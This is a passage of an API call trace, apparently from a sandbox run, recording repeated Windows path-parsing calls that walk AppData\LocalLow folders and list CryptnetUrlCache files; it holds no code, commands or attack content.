HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0113.916] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.916] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.917] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.917] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.917] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.917] PathFindFileNameW (pszPath="") returned="" [0113.917] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\") returned="spn\\" [0113.917] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0113.917] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0113.917] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0113.917] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0113.917] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.917] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.917] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.917] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.918] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.918] PathFindFileNameW (pszPath="") returned="" [0113.918] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\") returned="swd\\" [0113.918] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0113.918] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0113.918] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0113.918] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0113.918] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.918] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.918] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.918] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.918] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.918] PathFindFileNameW (pszPath="") returned="" [0113.919] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0113.919] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.919] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.919] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.919] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.919] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.919] PathFindFileNameW (pszPath="") returned="" [0113.923] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\") returned="CryptnetUrlCache\\" [0113.923] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0113.924] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.924] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.924] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.924] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.924] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.924] PathFindFileNameW (pszPath="") returned="" [0113.924] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="Content\\" [0113.924] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\") returned="CryptnetUrlCache\\" [0113.924] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0113.924] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.928] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned="" [0113.928] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned="" [0113.928] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned="" [0113.928] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1DAF2884EC4DFA96BA4A58D4DBC9C406") returned="" [0113.928] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\23B523C9E7746F715D33C6527C18EB9D") returned="" [0113.928] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3130B1871A126520A8C47861EFE3ED4D") returned="" [0113.928] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned="" [0113.929] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned="" [0113.929] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned="" [0113.929] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned="" [0113.929] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned="" [0113.929] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned="" [0113.929] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned="" [0113.929] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD") returned="" [0113.929] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned="" [0113.929] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21") returned="" [0113.929] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned="" [0113.929] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="" [0113.929] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned="" [0113.931] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned="" [0113.931] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned="" [0113.931] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned="" [0113.931] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned="" [0113.931] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned="" [0113.931] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned="" [0113.931] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned="" [0113.931] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned="" [0113.931] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned="" [0113.931] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned="" [0113.931] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned="" [0113.931] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned="" [0113.931] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned="" [0113.932] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned="" [0113.932] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned="" [0113.932] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned="" [0113.932] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015") returned="" [0113.932] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned="" [0113.933] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned="" [0113.933] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned="" [0113.933] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned="" [0113.933] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned="" [0113.933] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned="" [0113.933] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned="" [0113.933] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned="" [0113.933] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned="" [0113.933] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned="" [0113.933] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned="" [0113.933] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned="" [0113.933] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned="" [0113.933] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned="" [0113.933] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned="" [0113.933] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned="" [0113.933] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned="" [0113.934] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned="" [0113.934] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F90F18257CBB4D84216AC1E1F3BB2C76") returned="" [0113.938] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned="" [0113.938] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned="" [0113.938] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned="" [0113.938] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1DAF2884EC4DFA96BA4A58D4DBC9C406") returned="" [0113.938] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\23B523C9E7746F715D33C6527C18EB9D") returned="" [0113.938] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3130B1871A126520A8C47861EFE3ED4D") returned="" [0113.938] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned="" [0113.938] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned="" [0113.938] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned="" [0113.938] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned="" [0113.939] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned="" [0113.939] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned="" [0113.939] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned="" [0113.939] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD") returned="" [0113.939] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned="" [0113.939] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21") returned="" [0113.939] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned="" [0113.939] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="" [0113.939] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned="" [0113.940] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned="" [0113.941] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned="" [0113.941] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned="" [0113.941] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned="" [0113.941] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned="" [0113.941] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned="" [0113.941] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned="" [0113.941] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned="" [0113.941] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned="" [0113.941] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned="" [0113.941] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned="" [0113.941] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned="" [0113.941] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned="" [0113.941] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned="" [0113.941] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned="" [0113.941] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS 